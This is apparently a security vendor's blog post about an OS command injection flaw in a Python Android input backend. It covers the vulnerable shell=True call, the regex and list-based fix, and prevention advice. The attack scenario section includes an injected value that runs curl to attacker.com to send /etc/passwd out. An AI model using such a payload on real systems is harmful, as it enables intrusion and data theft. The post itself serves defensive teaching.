Back to Blog
critical SEVERITY7 min read

How Command Injection happens in Python subprocess calls and how to fix it

A critical OS command injection vulnerability was discovered in `backend_android.py`, where the `_sendevent` function constructed shell commands using f-string interpolation with a user-controlled `dev` parameter and executed them with `shell=True`. An attacker could exploit this by sending a crafted `android-config` packet with a malicious `eventDev` value containing shell metacharacters, enabling arbitrary command execution on the host. The fix validates the `dev` parameter against a strict re

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is an OS Command Injection vulnerability (CWE-78) in Python's `backend_android.py`, where the `_sendevent()` function passed a user-controlled `dev` parameter directly into an f-string shell command executed with `subprocess.run(..., shell=True)`. An attacker sending a crafted `android-config` packet with a value like `/dev/input/event3; curl http://attacker.com/...` could execute arbitrary OS commands. The fix adds a strict regex whitelist (`^/dev/input/event\d+$`) to validate the device path and switches to a list-based `subprocess.run()` call without `shell=True`, eliminating the injection surface entirely.

Vulnerability at a Glance

cweCWE-78
fixRegex whitelist validation of `dev` parameter + removal of `shell=True` from subprocess call
riskRemote attackers can execute arbitrary OS commands on the host system
languagePython
root causeUser-controlled `dev` parameter interpolated into a shell command string executed with `shell=True`
vulnerabilityOS Command Injection

How Command Injection Happens in Python subprocess Calls and How to Fix It

Introduction

The src/sidecar/input_backends/experimental/backend_android.py file handles input event forwarding for rooted Android devices — a specialized but real attack surface. A flaw in the _sendevent function at line 66 created a critical OS command injection vulnerability: user-controlled data flowed directly into a shell command string, executed without any validation.

Here's the vulnerable code that triggered the alert:

def _sendevent(dev, ev_type, code, value):
    """Write a single input event via 'su -c sendevent' on rooted Android."""
    cmd = f"su -c 'sendevent {dev} {ev_type} {code} {value}'"
    subprocess.run(cmd, shell=True, capture_output=True)

Two problems compound each other here: the dev parameter is interpolated directly into a shell command string using an f-string, and the entire string is handed to subprocess.run() with shell=True. This means the operating system's shell — not Python — is responsible for parsing the command, and any shell metacharacters in dev are interpreted as instructions.

For developers writing similar device-control or automation backends, this pattern is surprisingly easy to introduce and surprisingly dangerous to leave in place.


The Vulnerability Explained

What Goes Wrong

When shell=True is passed to subprocess.run(), Python hands the command string to /bin/sh -c. This means the shell parses the entire string, including any special characters like:

  • ; — command separator
  • && / || — conditional execution
  • | — pipe
  • $() or ` — command substitution
  • > / >> — output redirection

The dev parameter in _sendevent represents an Android input device path (e.g., /dev/input/event3). This value is set via android-config packets received at runtime — meaning it is externally controllable.

The Exact Vulnerable Line

cmd = f"su -c 'sendevent {dev} {ev_type} {code} {value}'"
subprocess.run(cmd, shell=True, capture_output=True)

If dev is /dev/input/event3, this produces the intended:

su -c 'sendevent /dev/input/event3 1 330 1'

But if dev is set to a malicious value, the shell interprets the injected commands.

Concrete Attack Scenario

An attacker sends a JSON packet of type android-config with eventDev set to:

/dev/input/event3; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The resulting shell command becomes:

su -c 'sendevent /dev/input/event3; curl http://attacker.com/exfil?data=$(cat /etc/passwd) 1 330 1'

The shell executes both commands. On a rooted Android device — which is the explicit target environment for this backend — su grants root privileges, making this a root-level remote code execution scenario. The attacker could exfiltrate files, install backdoors, or destroy data.

Real-World Impact

This backend is described as "experimental" but resides in the production codebase. The PR description confirms: "This file is in the production codebase, not test-only code." The web service context means this is directly reachable by remote attackers who can send crafted packets — no local access required.


The Fix

The fix makes two targeted, complementary changes:

1. Whitelist Validation with a Strict Regex

A compiled regex is added at module level:

import re

_DEV_RE = re.compile(r"^/dev/input/event\d+$")

This pattern matches only valid Android input device paths like /dev/input/event0, /dev/input/event3, /dev/input/event12. It anchors both ends of the string (^ and $) and allows only digits after event — no spaces, semicolons, pipes, or any other shell metacharacters can slip through.

The function now rejects anything that doesn't match:

def _sendevent(dev, ev_type, code, value):
    if not _DEV_RE.match(dev):
        return
    subprocess.run(["su", "-c", f"sendevent {dev} {ev_type} {code} {value}"], capture_output=True)

2. Removing shell=True

The second change is equally important. The command is now passed as a list to subprocess.run(), and shell=True is removed entirely:

# Before — dangerous
subprocess.run(cmd, shell=True, capture_output=True)

# After — safe
subprocess.run(["su", "-c", f"sendevent {dev} {ev_type} {code} {value}"], capture_output=True)

When a list is passed without shell=True, Python uses execvp() directly. The OS does not invoke a shell, so there is no shell to interpret metacharacters. Even if the regex were somehow bypassed, the absence of shell=True provides a second layer of defense.

Before vs. After

Aspect Before After
Input validation None Regex whitelist ^/dev/input/event\d+$
Shell invocation shell=True No shell (shell=False default)
Command construction f-string into string List with validated dev
Injection risk Critical Eliminated

Prevention & Best Practices

Never Use shell=True with Untrusted Input

The Python documentation itself warns against this. If you need to run a subprocess with external arguments, always pass a list:

# Dangerous
subprocess.run(f"tool {user_input}", shell=True)

# Safe
subprocess.run(["tool", user_input])  # shell never sees user_input

Validate Inputs at the Boundary

The _DEV_RE regex is a textbook example of allowlist validation — defining exactly what is acceptable rather than trying to block known-bad patterns. For device paths, file names, or any constrained string format, a tight regex anchored at both ends is highly effective.

# Good pattern: anchor both ends, be specific about allowed characters
_DEV_RE = re.compile(r"^/dev/input/event\d+$")

Use shlex.quote() as a Last Resort

If you genuinely need shell=True (rare), use shlex.quote() to escape individual arguments:

import shlex
cmd = f"tool {shlex.quote(user_input)}"
subprocess.run(cmd, shell=True)

This is a weaker defense than avoiding shell=True entirely — prefer the list form.

Lint with Bandit or Semgrep

Both tools have rules targeting this exact pattern:

  • Bandit: B602 flags subprocess calls with shell=True
  • Semgrep: The python.lang.security.audit.subprocess-shell-true rule catches this pattern

Integrate these into your CI pipeline to catch regressions early.

Reference Standards


Key Takeaways

  • shell=True with any user-controlled string is almost always wrong. In _sendevent(), a single parameter — dev — was enough to enable root-level code execution on the target device.
  • The dev parameter in backend_android.py had a well-defined valid format (/dev/input/event\d+), making a regex whitelist both simple and highly effective.
  • Two independent defenses are better than one. The fix combines input validation (regex) and safe API usage (list-based subprocess) — if one were somehow bypassed, the other still protects.
  • "Experimental" does not mean "low risk." This file was in the production codebase and reachable by remote attackers despite its experimental label.
  • Compiled regexes at module level (like _DEV_RE = re.compile(...)) are a clean, performant pattern for validating constrained string inputs in Python.

How Orbis AppSec Detected This

  • Source: The dev parameter in _sendevent(), populated from android-config packets received over the network — fully attacker-controlled.
  • Sink: subprocess.run(cmd, shell=True, capture_output=True) at backend_android.py:66, where the tainted dev value was embedded in the shell command string cmd.
  • Missing control: No validation or sanitization of dev before interpolation; no restriction on shell metacharacters; shell=True enabled full shell interpretation of the command string.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added _DEV_RE = re.compile(r"^/dev/input/event\d+$") to validate dev before use, and replaced the string-based shell=True call with a list-based subprocess.run() invocation.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The _sendevent vulnerability in backend_android.py is a textbook example of how a small, seemingly convenient shortcut — using an f-string and shell=True to build a shell command — can create a critical security hole. On a rooted Android device, this translated directly to potential root-level arbitrary command execution triggered by a single malicious network packet.

The fix is concise and surgical: a six-character regex pattern and the removal of shell=True. These two changes eliminate the injection surface entirely while preserving all valid functionality. The lesson generalizes broadly: whenever you're constructing OS commands in Python, reach for the list form of subprocess.run() first, validate any external input against a strict allowlist, and treat shell=True as a red flag requiring explicit justification.

Security in device control backends — especially those running with elevated privileges — demands the same rigor as any public-facing web endpoint.


References

Frequently Asked Questions

What is OS command injection?

OS command injection (CWE-78) occurs when user-controlled input is embedded in a shell command string without sanitization, allowing attackers to append or inject additional commands using shell metacharacters like `;`, `&&`, `|`, or `$()`.

How do you prevent command injection in Python?

Pass commands as a list to `subprocess.run()` instead of a string, never use `shell=True` with untrusted input, and validate any user-supplied values against a strict whitelist (e.g., a regex) before use.

What CWE is command injection?

OS command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is escaping shell arguments enough to prevent command injection?

Escaping alone is fragile and error-prone. The preferred approach is to avoid `shell=True` entirely and pass arguments as a list, so the OS never interprets the input as a shell command string.

Can static analysis detect command injection?

Yes. Tools like Semgrep, Bandit, and AI-based scanners like Orbis AppSec can detect patterns where user-controlled data flows into `subprocess.run()` with `shell=True` or similar dangerous sinks.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #20

Related Articles

high

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability in `shell-quote` 1.8.3 (CVE-2026-9277) allowed arbitrary code execution through unescaped line terminators in shell arguments. The fix upgrades the dependency to `shell-quote` 1.8.4 via a pnpm override, closing the attack surface in both `launch-editor` and `react-dev-utils` dependency chains.

high

How Denial of Service via Brace Expansion Happens in JavaScript and How to Fix It

A high-severity denial-of-service vulnerability (CVE-2026-13149) in the `brace-expansion` package was fixed by upgrading `concurrently` from `^9.2.1` to `^9.2.4`, which pulls in `shell-quote 1.9.0` instead of the vulnerable `1.8.3`. The flaw allowed an attacker to craft a specially formed brace-expansion pattern that caused exponential processing time, potentially hanging Node.js processes. Left unpatched, any code path that passed user-influenced strings through `concurrently`'s shell-quoting l

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow arbitrary code execution by bypassing the library's shell argument quoting logic. The fix upgrades shell-quote to version 1.8.4 and pins the dependency via a package.json override to ensure the patched version is consistently resolved across the dependency tree. This matters because shell-quote is widely used in Node.js tooling to safely construct shell com

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `src/cli/commands/extract.js` at line 257, where user-controlled input was passed unsanitized into a `child_process` call via the `extractZipWithSystemTool` function. The fix eliminates the dangerous shell execution path entirely by removing the `spawn`-based system tool invocation and relying on the safe, pure-JavaScript `yauzl` library for ZIP extraction. This proactive hardening prevents downstream consumers of this Node.js lib

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the simple-git npm package that allowed attackers to bypass previously shipped security patches. The flaw affected applications using simple-git versions prior to 3.32.3, and was resolved by upgrading to 3.36.0, which introduced a dedicated argument-parsing architecture to properly sanitize untrusted input before it reaches the underlying git process.

critical

How Heap Buffer Overflows Happen in C++ ZIP Extraction and How to Fix Them

A critical heap buffer overflow vulnerability was discovered in `TKLiveSync/unzip.cpp`, where ZIP archive entry names were copied into a `PATH_MAX`-sized heap buffer using `strcpy()` without any length validation. Since the ZIP specification allows entry names up to 65,535 bytes — far exceeding typical `PATH_MAX` values of 1,024 to 4,096 bytes — a crafted archive could overflow the buffer and corrupt heap memory. The fix replaces the unsafe `strcpy`/`dirname` pattern with `std::string` operation